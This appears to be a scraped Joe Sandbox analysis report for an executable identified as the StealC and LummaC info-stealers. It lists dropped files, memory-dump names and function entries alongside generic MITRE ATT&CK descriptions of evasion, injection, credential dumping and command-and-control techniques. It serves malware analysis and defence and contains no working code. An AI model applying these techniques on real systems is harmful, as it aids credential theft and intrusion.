Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction ID: a52d83defdd608d17fc3845fddb8b69889ae994b7f38a3946c51e8fc1abecdd6
Opcode Fuzzy Hash: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction Fuzzy Hash: 5FC04CB841410D9FD7165F54C844ABE7765EB34715F104518AEC181650D23A1C30DE15

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Bire1g8ahY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4830TYWIJQ5SCGDL2FZPZJN92URB.exe.log

C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe

C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
Bire1g8ahY.exe

Function 00A82E09 Relevance: 4.6, APIs: 3, Instructions: 104
registryCOMMON

Function 00A74DD2 Relevance: 1.6, APIs: 1, Instructions: 144
libraryCOMMON

Function 00A787AA Relevance: 1.6, APIs: 1, Instructions: 136
fileCOMMON

Function 00A78B4E Relevance: 1.6, APIs: 1, Instructions: 108
fileCOMMON

Function 00A787D8 Relevance: 1.6, APIs: 1, Instructions: 105
fileCOMMON

Function 00A7880C Relevance: 1.6, APIs: 1, Instructions: 96
fileCOMMON

Function 048E0D42 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 048E0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 048E1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 048E1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 00A78B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre